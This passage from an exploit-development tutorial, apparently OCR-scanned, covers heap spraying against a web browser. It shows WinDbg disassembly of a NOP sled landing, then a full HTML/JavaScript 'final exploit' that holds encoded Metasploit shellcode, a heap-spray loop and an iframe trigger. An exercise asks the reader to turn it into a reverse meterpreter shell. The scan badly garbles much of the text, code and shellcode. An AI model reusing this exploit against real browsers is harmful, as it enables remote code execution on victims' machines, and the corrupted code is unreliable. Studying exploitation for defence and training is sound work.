thl229%4e 0fB84ddooooon - mshiml | CXfer. : TransferFromSrc+0x111 (6b122a31)
bh122854 8hiig . oane een devord

6b122956 57 push edi

6b122957 50 ush &8

6b122958 ££9184000000 ca d ptr [ecx+8 5:0023: 0c0c0c90=0c0c0cl
6bl22%95e 8bdelc nov eax dword ptr [esi+1Ch]

6b122961 8bfg MO edl, eax

6b122963 dlef shr edi.l

Figure 79: Virtual function is being called

e

ottt olsbob e a’&%g

Offset: |{@$=scopeip

OcOcObE8 Oclic or al,0Ch
(cOcObfa Oclc or al,0Ch
Oclclbfc Oclc or al,0Ch
(clclbfe Ocic or al. 0Ch
Uclclci0 Delce or al.0Ch
O0z0c0=02 0chce o al,0Ch
Oclc0c04 Oclc or al,0Ch
Oclclcie Oclc or al,0Ch
0cOc0c08 Ocic or al,0Ch
Oclclcla Oclc or al, O0Ch
10c0clclc ; :
Oclclels Oclc or al,Ch
lclclcl0 Oclc or al, (Ch
Oelelcl?2 0cic or al, 0Ch

Figure 80: landing inside the NOP sled
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) socnriln

The OR instruction just executes the OR operator on source 0x0C and destination AL register and stores

the result in AL. This means that from our point of view, it acts as a NOP SLED until execution reaches
our real shellcode. EEE—————,

?{JCGCII Hwvord ptr [ebp+esx+78h]
tochdt T " 1 : 1 | Ebp
OcOdt 2 | dvord ptr [edi+1B8h]
iﬁ:ﬂdt : : | dword ptr [=di+20h]
gDcUdl ; ' s I R e ‘ ~.an =bp
{Dcidt i } i 1
De0dt i | dword ptr [eba+ecu*d]
|r|.4rzdt ME l 4 ‘ 1. b J . l % | pbp
{Ochdr : | pox
ﬂabd* ‘ 1 | Zal B | | 15 |
e R |
| i 5 r i

- ¥ 1 I f J # i X ] = a_'.!E”l 0
00t : ; ‘ 10Dk
NcidBE3e UIE2" —add = &dx,eax
!Elv:l_lvjbe?-e ebf 4 inp Ocldbez4
{0c0db=40 3b542404 Cmp edx, dwvord ptr [esp+d]
c0dbedd 75e5 ine Ocldbezb
OcOdbeds BbEf24 mow ebx dvord ptr [edi+24h]
{0cldbed? Dieb add ebx . ebp

Figure 81: Our payload has been executed

Here we can see the final exploit including the debugHeap function used to be able to monitor
allocations while JavaScript is running. You will notice another function named pausemill which is
needed to stop script execution for a few milliseconds during “for loop” iterations - this is needed to
allow Windbg to print its .fjutput66

<html>
<head>
<script>»
//Simple func to fix string length according to BSTR spec
function alloc(bytes, mystr) |
// windows/exec - 121 bytes
// http://www.metasploit.com

*The "debugHeap method" seems to not work well with big and numerous allocations. It seems the problem relies
on the fact that Windbg doesn't have enough time to respond and print its output in 2 "heavy" for loop.
Pausing execution between iterations solves this problem.
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/f EXITFUNC=seh, CMD=calc.exe

var shellcode = unescape/|
"%uesfc%u0044%uDOOO%u458b%u8b3c%u05TC%uOITB%uBbef%ula4f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u9900
%uS4ac%u?écU%uclﬂ?%uOdca%uCZDl%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0cBb%qudb%ulch%uebﬂl%
ulcBb%uO18b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u?0Sb%uadlc%uéBBb%uSgoe%uSBfB%u
6&c0%u6850%u8af0%u5f04%u9868%u8afe%u5?De%ue?ff%uﬁlGB%u6360%u6529%u65?8%u4100"};

while (mystr.length< bytes) mystr += mystr;

return mystr.substr(0, {(bytes-6)/2) + shellcode;

}

// Debug Heap allocations enabling RtlhllocateHeap breakpoint
function debugHeap(enable} {
if (enable == true} {
void(Math.atan (Oxdead});
} else { :
void{Math.asin(Oxbeef));
}
}

// pause x millisec for Windbg breakpoints output
function pausecomp(millis) {
var date = new Date():
var curDate = null;
do { curDate = new Date(): }
while (curDate-date < millis);
}
</script>

</head>

<body>
<script>
debugHeap (true) ;
var evil = new Arrav!{};
var FRKEOBJ = unescape {"%ulcOctulclc”);
FARKEOBJ = alloc(133120, FAKECRJ);
alert ("ph33r");
// Perform 1000 allocations of ( GUESS THIS VALUE i) ) bytes on the heap
for (var k = 0; k < 1000; k++) {
// <= USE substr not += to avoid "undefined” problem
evil[k] = FAKEOBJ.substr (0, FAREOBJ.length);
pausecomp (100} ;
}
debugHeap (false) ;
document.write("<iframe src=\"iframe.htmi\">"};
</script>
</body>
</html>

Final Exploit including Javascript debug functions
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T

Try to debug allocations from javascript using the above exploit (which is the allocation size to
use in the RtlAllocateHeap breakpoint?);

2) Repeat the example above (Final Exploit without debugging functions) and modify accordingly in
order to receive a reverse meterpreter shell.
Wrapping Up

In this module we used advanced heap spray techniques in order to obtain reliable code execution.
Browser vulnerbilities do not always allow an attacker to manipulate the stack easily. For this reason we

envoke javascript functions in order to precisley inject our payload to the heap, and redirect code
execution to that area.
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